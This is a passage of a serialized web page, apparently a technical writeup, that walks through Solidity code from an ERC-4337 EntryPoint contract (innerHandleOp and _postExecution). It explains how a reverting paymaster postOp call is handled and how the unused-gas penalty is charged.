}\n",[107269],{"type":22,"tag":114,"props":107270,"children":107271},{"__ignoreMap":7},[107272,107288,107309,107329,107345,107378,107385,107402,107426,107466,107485,107510,107544,107568,107585,107593,107601,107609,107617,107625,107632,107645,107662,107669,107676,107683,107694,107733,107749,107756],{"type":22,"tag":118,"props":107273,"children":107274},{"class":120,"line":121},[107275,107279,107284],{"type":22,"tag":118,"props":107276,"children":107277},{"style":146},[107278],{"type":28,"value":91427},{"type":22,"tag":118,"props":107280,"children":107281},{"style":532},[107282],{"type":28,"value":107283}," innerHandleOp",{"type":22,"tag":118,"props":107285,"children":107286},{"style":125},[107287],{"type":28,"value":696},{"type":22,"tag":118,"props":107289,"children":107290},{"class":120,"line":142},[107291,107296,107300,107305],{"type":22,"tag":118,"props":107292,"children":107293},{"style":131},[107294],{"type":28,"value":107295},"        bytes",{"type":22,"tag":118,"props":107297,"children":107298},{"style":146},[107299],{"type":28,"value":104676},{"type":22,"tag":118,"props":107301,"children":107302},{"style":204},[107303],{"type":28,"value":107304}," callData",{"type":22,"tag":118,"props":107306,"children":107307},{"style":125},[107308],{"type":28,"value":782},{"type":22,"tag":118,"props":107310,"children":107311},{"class":120,"line":177},[107312,107316,107320,107325],{"type":22,"tag":118,"props":107313,"children":107314},{"style":146},[107315],{"type":28,"value":106336},{"type":22,"tag":118,"props":107317,"children":107318},{"style":146},[107319],{"type":28,"value":104676},{"type":22,"tag":118,"props":107321,"children":107322},{"style":204},[107323],{"type":28,"value":107324}," opInfo",{"type":22,"tag":118,"props":107326,"children":107327},{"style":125},[107328],{"type":28,"value":782},{"type":22,"tag":118,"props":107330,"children":107331},{"class":120,"line":195},[107332,107336,107340],{"type":22,"tag":118,"props":107333,"children":107334},{"style":131},[107335],{"type":28,"value":107295},{"type":22,"tag":118,"props":107337,"children":107338},{"style":146},[107339],{"type":28,"value":104608},{"type":22,"tag":118,"props":107341,"children":107342},{"style":204},[107343],{"type":28,"value":107344}," context\n",{"type":22,"tag":118,"props":107346,"children":107347},{"class":120,"line":244},[107348,107353,107358,107362,107366,107370,107374],{"type":22,"tag":118,"props":107349,"children":107350},{"style":125},[107351],{"type":28,"value":107352},"    ) ",{"type":22,"tag":118,"props":107354,"children":107355},{"style":146},[107356],{"type":28,"value":107357},"external",{"type":22,"tag":118,"props":107359,"children":107360},{"style":1480},[107361],{"type":28,"value":77589},{"type":22,"tag":118,"props":107363,"children":107364},{"style":125},[107365],{"type":28,"value":842},{"type":22,"tag":118,"props":107367,"children":107368},{"style":131},[107369],{"type":28,"value":48108},{"type":22,"tag":118,"props":107371,"children":107372},{"style":204},[107373],{"type":28,"value":105417},{"type":22,"tag":118,"props":107375,"children":107376},{"style":125},[107377],{"type":28,"value":16783},{"type":22,"tag":118,"props":107379,"children":107380},{"class":120,"line":253},[107381],{"type":22,"tag":118,"props":107382,"children":107383},{"style":125},[107384],{"type":28,"value":106397},{"type":22,"tag":118,"props":107386,"children":107387},{"class":120,"line":263},[107388,107393,107397],{"type":22,"tag":118,"props":107389,"children":107390},{"style":125},[107391],{"type":28,"value":107392},"        IPaymaster.PostOpMode mode ",{"type":22,"tag":118,"props":107394,"children":107395},{"style":210},[107396],{"type":28,"value":282},{"type":22,"tag":118,"props":107398,"children":107399},{"style":125},[107400],{"type":28,"value":107401}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":22,"tag":118,"props":107403,"children":107404},{"class":120,"line":318},[107405,107409,107414,107418,107422],{"type":22,"tag":118,"props":107406,"children":107407},{"style":1480},[107408],{"type":28,"value":5293},{"type":22,"tag":118,"props":107410,"children":107411},{"style":125},[107412],{"type":28,"value":107413}," (callData.length ",{"type":22,"tag":118,"props":107415,"children":107416},{"style":210},[107417],{"type":28,"value":12460},{"type":22,"tag":118,"props":107419,"children":107420},{"style":674},[107421],{"type":28,"value":5074},{"type":22,"tag":118,"props":107423,"children":107424},{"style":125},[107425],{"type":28,"value":16783},{"type":22,"tag":118,"props":107427,"children":107428},{"class":120,"line":351},[107429,107434,107439,107443,107448,107452,107457,107461],{"type":22,"tag":118,"props":107430,"children":107431},{"style":131},[107432],{"type":28,"value":107433},"            bool",{"type":22,"tag":118,"props":107435,"children":107436},{"style":125},[107437],{"type":28,"value":107438}," success ",{"type":22,"tag":118,"props":107440,"children":107441},{"style":210},[107442],{"type":28,"value":282},{"type":22,"tag":118,"props":107444,"children":107445},{"style":125},[107446],{"type":28,"value":107447}," Exec.",{"type":22,"tag":118,"props":107449,"children":107450},{"style":532},[107451],{"type":28,"value":40237},{"type":22,"tag":118,"props":107453,"children":107454},{"style":125},[107455],{"type":28,"value":107456},"(mUserOp.sender, ",{"type":22,"tag":118,"props":107458,"children":107459},{"style":674},[107460],{"type":28,"value":6036},{"type":22,"tag":118,"props":107462,"children":107463},{"style":125},[107464],{"type":28,"value":107465},", callData, callGasLimit);\n",{"type":22,"tag":118,"props":107467,"children":107468},{"class":120,"line":359},[107469,107473,107477,107481],{"type":22,"tag":118,"props":107470,"children":107471},{"style":1480},[107472],{"type":28,"value":60742},{"type":22,"tag":118,"props":107474,"children":107475},{"style":125},[107476],{"type":28,"value":842},{"type":22,"tag":118,"props":107478,"children":107479},{"style":210},[107480],{"type":28,"value":22581},{"type":22,"tag":118,"props":107482,"children":107483},{"style":125},[107484],{"type":28,"value":106769},{"type":22,"tag":118,"props":107486,"children":107487},{"class":120,"line":368},[107488,107492,107497,107501,107506],{"type":22,"tag":118,"props":107489,"children":107490},{"style":131},[107491],{"type":28,"value":105056},{"type":22,"tag":118,"props":107493,"children":107494},{"style":125},[107495],{"type":28,"value":107496}," freePtr ",{"type":22,"tag":118,"props":107498,"children":107499},{"style":210},[107500],{"type":28,"value":282},{"type":22,"tag":118,"props":107502,"children":107503},{"style":532},[107504],{"type":28,"value":107505}," _getFreePtr",{"type":22,"tag":118,"props":107507,"children":107508},{"style":125},[107509],{"type":28,"value":1098},{"type":22,"tag":118,"props":107511,"children":107512},{"class":120,"line":384},[107513,107517,107521,107526,107530,107534,107539],{"type":22,"tag":118,"props":107514,"children":107515},{"style":131},[107516],{"type":28,"value":106453},{"type":22,"tag":118,"props":107518,"children":107519},{"style":146},[107520],{"type":28,"value":104676},{"type":22,"tag":118,"props":107522,"children":107523},{"style":125},[107524],{"type":28,"value":107525}," result ",{"type":22,"tag":118,"props":107527,"children":107528},{"style":210},[107529],{"type":28,"value":282},{"type":22,"tag":118,"props":107531,"children":107532},{"style":125},[107533],{"type":28,"value":107447},{"type":22,"tag":118,"props":107535,"children":107536},{"style":532},[107537],{"type":28,"value":107538},"getReturnData",{"type":22,"tag":118,"props":107540,"children":107541},{"style":125},[107542],{"type":28,"value":107543},"(REVERT_REASON_MAX_LEN);\n",{"type":22,"tag":118,"props":107545,"children":107546},{"class":120,"line":417},[107547,107551,107556,107560,107564],{"type":22,"tag":118,"props":107548,"children":107549},{"style":1480},[107550],{"type":28,"value":105116},{"type":22,"tag":118,"props":107552,"children":107553},{"style":125},[107554],{"type":28,"value":107555}," (result.length ",{"type":22,"tag":118,"props":107557,"children":107558},{"style":210},[107559],{"type":28,"value":12460},{"type":22,"tag":118,"props":107561,"children":107562},{"style":674},[107563],{"type":28,"value":5074},{"type":22,"tag":118,"props":107565,"children":107566},{"style":125},[107567],{"type":28,"value":16783},{"type":22,"tag":118,"props":107569,"children":107570},{"class":120,"line":425},[107571,107576,107581],{"type":22,"tag":118,"props":107572,"children":107573},{"style":1480},[107574],{"type":28,"value":107575},"                    emit",{"type":22,"tag":118,"props":107577,"children":107578},{"style":532},[107579],{"type":28,"value":107580}," UserOperationRevertReason",{"type":22,"tag":118,"props":107582,"children":107583},{"style":125},[107584],{"type":28,"value":696},{"type":22,"tag":118,"props":107586,"children":107587},{"class":120,"line":441},[107588],{"type":22,"tag":118,"props":107589,"children":107590},{"style":125},[107591],{"type":28,"value":107592},"                        opInfo.userOpHash,\n",{"type":22,"tag":118,"props":107594,"children":107595},{"class":120,"line":475},[107596],{"type":22,"tag":118,"props":107597,"children":107598},{"style":125},[107599],{"type":28,"value":107600},"                        mUserOp.sender,\n",{"type":22,"tag":118,"props":107602,"children":107603},{"class":120,"line":484},[107604],{"type":22,"tag":118,"props":107605,"children":107606},{"style":125},[107607],{"type":28,"value":107608},"                        mUserOp.nonce,\n",{"type":22,"tag":118,"props":107610,"children":107611},{"class":120,"line":492},[107612],{"type":22,"tag":118,"props":107613,"children":107614},{"style":125},[107615],{"type":28,"value":107616},"                        result\n",{"type":22,"tag":118,"props":107618,"children":107619},{"class":120,"line":501},[107620],{"type":22,"tag":118,"props":107621,"children":107622},{"style":125},[107623],{"type":28,"value":107624},"                    );\n",{"type":22,"tag":118,"props":107626,"children":107627},{"class":120,"line":519},[107628],{"type":22,"tag":118,"props":107629,"children":107630},{"style":125},[107631],{"type":28,"value":1819},{"type":22,"tag":118,"props":107633,"children":107634},{"class":120,"line":606},[107635,107640],{"type":22,"tag":118,"props":107636,"children":107637},{"style":532},[107638],{"type":28,"value":107639},"                _restoreFreePtr",{"type":22,"tag":118,"props":107641,"children":107642},{"style":125},[107643],{"type":28,"value":107644},"(freePtr);\n",{"type":22,"tag":118,"props":107646,"children":107647},{"class":120,"line":615},[107648,107653,107657],{"type":22,"tag":118,"props":107649,"children":107650},{"style":125},[107651],{"type":28,"value":107652},"                mode ",{"type":22,"tag":118,"props":107654,"children":107655},{"style":210},[107656],{"type":28,"value":282},{"type":22,"tag":118,"props":107658,"children":107659},{"style":125},[107660],{"type":28,"value":107661}," IPaymaster.PostOpMode.opReverted;\n",{"type":22,"tag":118,"props":107663,"children":107664},{"class":120,"line":685},[107665],{"type":22,"tag":118,"props":107666,"children":107667},{"style":125},[107668],{"type":28,"value":1827},{"type":22,"tag":118,"props":107670,"children":107671},{"class":120,"line":699},[107672],{"type":22,"tag":118,"props":107673,"children":107674},{"style":125},[107675],{"type":28,"value":1835},{"type":22,"tag":118,"props":107677,"children":107678},{"class":120,"line":729},[107679],{"type":22,"tag":118,"props":107680,"children":107681},{"emptyLinePlaceholder":15},[107682],{"type":28,"value":250},{"type":22,"tag":118,"props":107684,"children":107685},{"class":120,"line":771},[107686,107690],{"type":22,"tag":118,"props":107687,"children":107688},{"style":1480},[107689],{"type":28,"value":104712},{"type":22,"tag":118,"props":107691,"children":107692},{"style":125},[107693],{"type":28,"value":1474},{"type":22,"tag":118,"props":107695,"children":107696},{"class":120,"line":785},[107697,107701,107705,107709,107713,107717,107721,107725,107729],{"type":22,"tag":118,"props":107698,"children":107699},{"style":131},[107700],{"type":28,"value":104724},{"type":22,"tag":118,"props":107702,"children":107703},{"style":125},[107704],{"type":28,"value":106888},{"type":22,"tag":118,"props":107706,"children":107707},{"style":210},[107708],{"type":28,"value":282},{"type":22,"tag":118,"props":107710,"children":107711},{"style":125},[107712],{"type":28,"value":106897},{"type":22,"tag":118,"props":107714,"children":107715},{"style":210},[107716],{"type":28,"value":6340},{"type":22,"tag":118,"props":107718,"children":107719},{"style":146},[107720],{"type":28,"value":106906},{"type":22,"tag":118,"props":107722,"children":107723},{"style":125},[107724],{"type":28,"value":2182},{"type":22,"tag":118,"props":107726,"children":107727},{"style":210},[107728],{"type":28,"value":3220},{"type":22,"tag":118,"props":107730,"children":107731},{"style":125},[107732],{"type":28,"value":106919},{"type":22,"tag":118,"props":107734,"children":107735},{"class":120,"line":804},[107736,107740,107744],{"type":22,"tag":118,"props":107737,"children":107738},{"style":1480},[107739],{"type":28,"value":80672},{"type":22,"tag":118,"props":107741,"children":107742},{"style":532},[107743],{"type":28,"value":107028},{"type":22,"tag":118,"props":107745,"children":107746},{"style":125},[107747],{"type":28,"value":107748},"(mode, opInfo, context, actualGas);\n",{"type":22,"tag":118,"props":107750,"children":107751},{"class":120,"line":812},[107752],{"type":22,"tag":118,"props":107753,"children":107754},{"style":125},[107755],{"type":28,"value":1835},{"type":22,"tag":118,"props":107757,"children":107758},{"class":120,"line":821},[107759],{"type":22,"tag":118,"props":107760,"children":107761},{"style":125},[107762],{"type":28,"value":1254},{"type":22,"tag":31,"props":107764,"children":107765},{},[107766,107768,107773,107775,107780,107782,107788,107790,107796,107798,107803,107805,107815],{"type":28,"value":107767},"We observe that, in the happy path, ",{"type":22,"tag":114,"props":107769,"children":107771},{"className":107770},[],[107772],{"type":28,"value":107119},{"type":28,"value":107774}," is expected to not only execute the actual ",{"type":22,"tag":114,"props":107776,"children":107778},{"className":107777},[],[107779],{"type":28,"value":103778},{"type":28,"value":107781}," call, but also call ",{"type":22,"tag":114,"props":107783,"children":107785},{"className":107784},[],[107786],{"type":28,"value":107787},"_postExecution",{"type":28,"value":107789},". This means that the third failure handling path, which passes ",{"type":22,"tag":114,"props":107791,"children":107793},{"className":107792},[],[107794],{"type":28,"value":107795},"postOpReverted",{"type":28,"value":107797}," as its mode, happens when something goes wrong with the ",{"type":22,"tag":114,"props":107799,"children":107801},{"className":107800},[],[107802],{"type":28,"value":107787},{"type":28,"value":107804}," call ",{"type":22,"tag":74,"props":107806,"children":107807},{},[107808,107810],{"type":28,"value":107809},"inside ",{"type":22,"tag":114,"props":107811,"children":107813},{"className":107812},[],[107814],{"type":28,"value":107119},{"type":28,"value":292},{"type":22,"tag":31,"props":107817,"children":107818},{},[107819,107821,107826],{"type":28,"value":107820},"Let's examine the ",{"type":22,"tag":114,"props":107822,"children":107824},{"className":107823},[],[107825],{"type":28,"value":107787},{"type":28,"value":107827}," code to understand where the revert might occur.",{"type":22,"tag":107,"props":107829,"children":107831},{"className":6487,"code":107830,"language":6486,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[107832],{"type":22,"tag":114,"props":107833,"children":107834},{"__ignoreMap":7},[107835,107850,107875,107894,107913,107925,107962,107969,108001,108018,108033,108049,108073,108098,108122,108144,108162,108179,108187,108205,108221,108254,108272,108279,108286,108294,108310,108342,108364,108371,108378,108385],{"type":22,"tag":118,"props":107836,"children":107837},{"class":120,"line":121},[107838,107842,107846],{"type":22,"tag":118,"props":107839,"children":107840},{"style":146},[107841],{"type":28,"value":91427},{"type":22,"tag":118,"props":107843,"children":107844},{"style":532},[107845],{"type":28,"value":107028},{"type":22,"tag":118,"props":107847,"children":107848},{"style":125},[107849],{"type":28,"value":696},{"type":22,"tag":118,"props":107851,"children":107852},{"class":120,"line":142},[107853,107858,107862,107866,107871],{"type":22,"tag":118,"props":107854,"children":107855},{"style":146},[107856],{"type":28,"value":107857},"        IPaymaster",{"type":22,"tag":118,"props":107859,"children":107860},{"style":125},[107861],{"type":28,"value":292},{"type":22,"tag":118,"props":107863,"children":107864},{"style":204},[107865],{"type":28,"value":105388},{"type":22,"tag":118,"props":107867,"children":107868},{"style":204},[107869],{"type":28,"value":107870}," mode",{"type":22,"tag":118,"props":107872,"children":107873},{"style":125},[107874],{"type":28,"value":782},{"type":22,"tag":118,"props":107876,"children":107877},{"class":120,"line":177},[107878,107882,107886,107890],{"type":22,"tag":118,"props":107879,"children":107880},{"style":146},[107881],{"type":28,"value":106336},{"type":22,"tag":118,"props":107883,"children":107884},{"style":146},[107885],{"type":28,"value":104676},{"type":22,"tag":118,"props":107887,"children":107888},{"style":204},[107889],{"type":28,"value":107324},{"type":22,"tag":118,"props":107891,"children":107892},{"style":125},[107893],{"type":28,"value":782},{"type":22,"tag":118,"props":107895,"children":107896},{"class":120,"line":195},[107897,107901,107905,107909],{"type":22,"tag":118,"props":107898,"children":107899},{"style":131},[107900],{"type":28,"value":107295},{"type":22,"tag":118,"props":107902,"children":107903},{"style":146},[107904],{"type":28,"value":104676},{"type":22,"tag":118,"props":107906,"children":107907},{"style":204},[107908],{"type":28,"value":77936},{"type":22,"tag":118,"props":107910,"children":107911},{"style":125},[107912],{"type":28,"value":782},{"type":22,"tag":118,"props":107914,"children":107915},{"class":120,"line":244},[107916,107920],{"type":22,"tag":118,"props":107917,"children":107918},{"style":131},[107919],{"type":28,"value":91605},{"type":22,"tag":118,"props":107921,"children":107922},{"style":204},[107923],{"type":28,"value":107924}," actualGas\n",{"type":22,"tag":118,"props":107926,"children":107927},{"class":120,"line":253},[107928,107932,107937,107942,107946,107950,107954,107958],{"type":22,"tag":118,"props":107929,"children":107930},{"style":125},[107931],{"type":28,"value":107352},{"type":22,"tag":118,"props":107933,"children":107934},{"style":146},[107935],{"type":28,"value":107936},"internal",{"type":22,"tag":118,"props":107938,"children":107939},{"style":146},[107940],{"type":28,"value":107941}," virtual",{"type":22,"tag":118,"props":107943,"children":107944},{"style":1480},[107945],{"type":28,"value":77589},{"type":22,"tag":118,"props":107947,"children":107948},{"style":125},[107949],{"type":28,"value":842},{"type":22,"tag":118,"props":107951,"children":107952},{"style":131},[107953],{"type":28,"value":48108},{"type":22,"tag":118,"props":107955,"children":107956},{"style":204},[107957],{"type":28,"value":105417},{"type":22,"tag":118,"props":107959,"children":107960},{"style":125},[107961],{"type":28,"value":16783},{"type":22,"tag":118,"props":107963,"children":107964},{"class":120,"line":263},[107965],{"type":22,"tag":118,"props":107966,"children":107967},{"style":125},[107968],{"type":28,"value":106397},{"type":22,"tag":118,"props":107970,"children":107971},{"class":120,"line":318},[107972,107976,107981,107985,107989,107993,107997],{"type":22,"tag":118,"props":107973,"children":107974},{"style":1480},[107975],{"type":28,"value":60742},{"type":22,"tag":118,"props":107977,"children":107978},{"style":125},[107979],{"type":28,"value":107980}," (paymaster ",{"type":22,"tag":118,"props":107982,"children":107983},{"style":210},[107984],{"type":28,"value":302},{"type":22,"tag":118,"props":107986,"children":107987},{"style":131},[107988],{"type":28,"value":8259},{"type":22,"tag":118,"props":107990,"children":107991},{"style":125},[107992],{"type":28,"value":540},{"type":22,"tag":118,"props":107994,"children":107995},{"style":674},[107996],{"type":28,"value":6036},{"type":22,"tag":118,"props":107998,"children":107999},{"style":125},[108000],{"type":28,"value":37134},{"type":22,"tag":118,"props":108002,"children":108003},{"class":120,"line":351},[108004,108009,108013],{"type":22,"tag":118,"props":108005,"children":108006},{"style":125},[108007],{"type":28,"value":108008},"                refundAddress ",{"type":22,"tag":118,"props":108010,"children":108011},{"style":210},[108012],{"type":28,"value":282},{"type":22,"tag":118,"props":108014,"children":108015},{"style":125},[108016],{"type":28,"value":108017}," mUserOp.sender;\n",{"type":22,"tag":118,"props":108019,"children":108020},{"class":120,"line":359},[108021,108025,108029],{"type":22,"tag":118,"props":108022,"children":108023},{"style":125},[108024],{"type":28,"value":1611},{"type":22,"tag":118,"props":108026,"children":108027},{"style":1480},[108028],{"type":28,"value":5335},{"type":22,"tag":118,"props":108030,"children":108031},{"style":125},[108032],{"type":28,"value":1474},{"type":22,"tag":118,"props":108034,"children":108035},{"class":120,"line":368},[108036,108040,108044],{"type":22,"tag":118,"props":108037,"children":108038},{"style":125},[108039],{"type":28,"value":108008},{"type":22,"tag":118,"props":108041,"children":108042},{"style":210},[108043],{"type":28,"value":282},{"type":22,"tag":118,"props":108045,"children":108046},{"style":125},[108047],{"type":28,"value":108048}," paymaster;\n",{"type":22,"tag":118,"props":108050,"children":108051},{"class":120,"line":384},[108052,108056,108061,108065,108069],{"type":22,"tag":118,"props":108053,"children":108054},{"style":1480},[108055],{"type":28,"value":105116},{"type":22,"tag":118,"props":108057,"children":108058},{"style":125},[108059],{"type":28,"value":108060}," (context.length ",{"type":22,"tag":118,"props":108062,"children":108063},{"style":210},[108064],{"type":28,"value":12460},{"type":22,"tag":118,"props":108066,"children":108067},{"style":674},[108068],{"type":28,"value":5074},{"type":22,"tag":118,"props":108070,"children":108071},{"style":125},[108072],{"type":28,"value":16783},{"type":22,"tag":118,"props":108074,"children":108075},{"class":120,"line":417},[108076,108081,108085,108089,108093],{"type":22,"tag":118,"props":108077,"children":108078},{"style":125},[108079],{"type":28,"value":108080},"                    actualGasCost ",{"type":22,"tag":118,"props":108082,"children":108083},{"style":210},[108084],{"type":28,"value":282},{"type":22,"tag":118,"props":108086,"children":108087},{"style":125},[108088],{"type":28,"value":106888},{"type":22,"tag":118,"props":108090,"children":108091},{"style":210},[108092],{"type":28,"value":671},{"type":22,"tag":118,"props":108094,"children":108095},{"style":125},[108096],{"type":28,"value":108097}," gasPrice;\n",{"type":22,"tag":118,"props":108099,"children":108100},{"class":120,"line":425},[108101,108105,108110,108114,108118],{"type":22,"tag":118,"props":108102,"children":108103},{"style":131},[108104],{"type":28,"value":105073},{"type":22,"tag":118,"props":108106,"children":108107},{"style":125},[108108],{"type":28,"value":108109}," postOpPreGas ",{"type":22,"tag":118,"props":108111,"children":108112},{"style":210},[108113],{"type":28,"value":282},{"type":22,"tag":118,"props":108115,"children":108116},{"style":146},[108117],{"type":28,"value":106906},{"type":22,"tag":118,"props":108119,"children":108120},{"style":125},[108121],{"type":28,"value":1098},{"type":22,"tag":118,"props":108123,"children":108124},{"class":120,"line":441},[108125,108130,108135,108139],{"type":22,"tag":118,"props":108126,"children":108127},{"style":1480},[108128],{"type":28,"value":108129},"                    if",{"type":22,"tag":118,"props":108131,"children":108132},{"style":125},[108133],{"type":28,"value":108134}," (mode ",{"type":22,"tag":118,"props":108136,"children":108137},{"style":210},[108138],{"type":28,"value":17659},{"type":22,"tag":118,"props":108140,"children":108141},{"style":125},[108142],{"type":28,"value":108143}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":22,"tag":118,"props":108145,"children":108146},{"class":120,"line":475},[108147,108152,108157],{"type":22,"tag":118,"props":108148,"children":108149},{"style":1480},[108150],{"type":28,"value":108151},"                        try",{"type":22,"tag":118,"props":108153,"children":108154},{"style":532},[108155],{"type":28,"value":108156}," IPaymaster",{"type":22,"tag":118,"props":108158,"children":108159},{"style":125},[108160],{"type":28,"value":108161},"(paymaster).postOp{\n",{"type":22,"tag":118,"props":108163,"children":108164},{"class":120,"line":484},[108165,108170,108174],{"type":22,"tag":118,"props":108166,"children":108167},{"style":125},[108168],{"type":28,"value":108169},"                                gas",{"type":22,"tag":118,"props":108171,"children":108172},{"style":210},[108173],{"type":28,"value":213},{"type":22,"tag":118,"props":108175,"children":108176},{"style":125},[108177],{"type":28,"value":108178}," mUserOp.paymasterPostOpGasLimit\n",{"type":22,"tag":118,"props":108180,"children":108181},{"class":120,"line":492},[108182],{"type":22,"tag":118,"props":108183,"children":108184},{"style":125},[108185],{"type":28,"value":108186},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":22,"tag":118,"props":108188,"children":108189},{"class":120,"line":501},[108190,108195,108200],{"type":22,"tag":118,"props":108191,"children":108192},{"style":257},[108193],{"type":28,"value":108194},"                        // ",{"type":22,"tag":118,"props":108196,"children":108197},{"style":146},[108198],{"type":28,"value":108199},"solhint-disable",{"type":22,"tag":118,"props":108201,"children":108202},{"style":257},[108203],{"type":28,"value":108204},"-next-line no-empty-blocks\n",{"type":22,"tag":118,"props":108206,"children":108207},{"class":120,"line":519},[108208,108213,108217],{"type":22,"tag":118,"props":108209,"children":108210},{"style":125},[108211],{"type":28,"value":108212},"                        {} ",{"type":22,"tag":118,"props":108214,"children":108215},{"style":1480},[108216],{"type":28,"value":50351},{"type":22,"tag":118,"props":108218,"children":108219},{"style":125},[108220],{"type":28,"value":1474},{"type":22,"tag":118,"props":108222,"children":108223},{"class":120,"line":606},[108224,108229,108233,108238,108242,108246,108250],{"type":22,"tag":118,"props":108225,"children":108226},{"style":131},[108227],{"type":28,"value":108228},"                            bytes",{"type":22,"tag":118,"props":108230,"children":108231},{"style":146},[108232],{"type":28,"value":104676},{"type":22,"tag":118,"props":108234,"children":108235},{"style":125},[108236],{"type":28,"value":108237}," reason ",{"type":22,"tag":118,"props":108239,"children":108240},{"style":210},[108241],{"type":28,"value":282},{"type":22,"tag":118,"props":108243,"children":108244},{"style":125},[108245],{"type":28,"value":107447},{"type":22,"tag":118,"props":108247,"children":108248},{"style":532},[108249],{"type":28,"value":107538},{"type":22,"tag":118,"props":108251,"children":108252},{"style":125},[108253],{"type":28,"value":107543},{"type":22,"tag":118,"props":108255,"children":108256},{"class":120,"line":615},[108257,108262,108267],{"type":22,"tag":118,"props":108258,"children":108259},{"style":1480},[108260],{"type":28,"value":108261},"                            revert",{"type":22,"tag":118,"props":108263,"children":108264},{"style":532},[108265],{"type":28,"value":108266}," PostOpReverted",{"type":22,"tag":118,"props":108268,"children":108269},{"style":125},[108270],{"type":28,"value":108271},"(reason);\n",{"type":22,"tag":118,"props":108273,"children":108274},{"class":120,"line":685},[108275],{"type":22,"tag":118,"props":108276,"children":108277},{"style":125},[108278],{"type":28,"value":72916},{"type":22,"tag":118,"props":108280,"children":108281},{"class":120,"line":699},[108282],{"type":22,"tag":118,"props":108283,"children":108284},{"style":125},[108285],{"type":28,"value":1811},{"type":22,"tag":118,"props":108287,"children":108288},{"class":120,"line":729},[108289],{"type":22,"tag":118,"props":108290,"children":108291},{"style":257},[108292],{"type":28,"value":108293},"                    // Calculating a penalty for unused postOp gas\n",{"type":22,"tag":118,"props":108295,"children":108296},{"class":120,"line":771},[108297,108301,108305],{"type":22,"tag":118,"props":108298,"children":108299},{"style":257},[108300],{"type":28,"value":105138},{"type":22,"tag":118,"props":108302,"children":108303},{"style":146},[108304],{"type":28,"value":68700},{"type":22,"tag":118,"props":108306,"children":108307},{"style":257},[108308],{"type":28,"value":108309}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":22,"tag":118,"props":108311,"children":108312},{"class":120,"line":785},[108313,108317,108322,108326,108330,108334,108338],{"type":22,"tag":118,"props":108314,"children":108315},{"style":131},[108316],{"type":28,"value":105073},{"type":22,"tag":118,"props":108318,"children":108319},{"style":125},[108320],{"type":28,"value":108321}," postOpGasUsed ",{"type":22,"tag":118,"props":108323,"children":108324},{"style":210},[108325],{"type":28,"value":282},{"type":22,"tag":118,"props":108327,"children":108328},{"style":125},[108329],{"type":28,"value":108109},{"type":22,"tag":118,"props":108331,"children":108332},{"style":210},[108333],{"type":28,"value":6340},{"type":22,"tag":118,"props":108335,"children":108336},{"style":146},[108337],{"type":28,"value":106906},{"type":22,"tag":118,"props":108339,"children":108340},{"style":125},[108341],{"type":28,"value":1098},{"type":22,"tag":118,"props":108343,"children":108344},{"class":120,"line":804},[108345,108350,108354,108359],{"type":22,"tag":118,"props":108346,"children":108347},{"style":125},[108348],{"type":28,"value":108349},"                    postOpUnusedGasPenalty ",{"type":22,"tag":118,"props":108351,"children":108352},{"style":210},[108353],{"type":28,"value":282},{"type":22,"tag":118,"props":108355,"children":108356},{"style":532},[108357],{"type":28,"value":108358}," _getUnusedGasPenalty",{"type":22,"tag":118,"props":108360,"children":108361},{"style":125},[108362],{"type":28,"value":108363},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":22,"tag":118,"props":108365,"children":108366},{"class":120,"line":812},[108367],{"type":22,"tag":118,"props":108368,"children":108369},{"style":125},[108370],{"type":28,"value":1819},{"type":22,"tag":118,"props":108372,"children":108373},{"class":120,"line":821},[108374],{"type":22,"tag":118,"props":108375,"children":108376},{"style":125},[108377],{"type":28,"value":1827},{"type":22,"tag":118,"props":108379,"children":108380},{"class":120,"line":900},[108381],{"type":22,"tag":118,"props":108382,"children":108383},{"style":125},[108384],{"type":28,"value":106397},{"type":22,"tag":118,"props":108386,"children":108387},{"class":120,"line":913},[108388],{"type":22,"tag":118,"props":108389,"children":108390},{"style":125},[108391],{"type":28,"value":1254},{"type":22,"tag":31,"props":108393,"children":108394},{},[108395,108397,108402,108404,108410,108412,108418,108420,108425,108427,108432,108434,108439,108441,108446,108448,108453,108455,108460],{"type":28,"value":108396},"It turns out that if the ",{"type":22,"tag":114,"props":108398,"children":108400},{"className":108399},[],[108401],{"type":28,"value":103977},{"type":28,"value":108403}," call fails, it will revert with ",{"type":22,"tag":114,"props":108405,"children":108407},{"className":108406},[],[108408],{"type":28,"value":108409},"PostOpReverted",{"type":28,"value":108411},". However, as we can see in the previous code of ",{"type":22,"tag":114,"props":108413,"children":108415},{"className":108414},[],[108416],{"type":28,"value":108417},"_executeUserOp",{"type":28,"value":108419},", even though ",{"type":22,"tag":114,"props":108421,"children":108423},{"className":108422},[],[108424],{"type":28,"value":107119},{"type":28,"value":108426}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":22,"tag":114,"props":108428,"children":108430},{"className":108429},[],[108431],{"type":28,"value":107787},{"type":28,"value":108433}," call with ",{"type":22,"tag":114,"props":108435,"children":108437},{"className":108436},[],[108438],{"type":28,"value":107795},{"type":28,"value":108440}," mode, and it won't try to call ",{"type":22,"tag":114,"props":108442,"children":108444},{"className":108443},[],[108445],{"type":28,"value":103977},{"type":28,"value":108447}," again. This means the 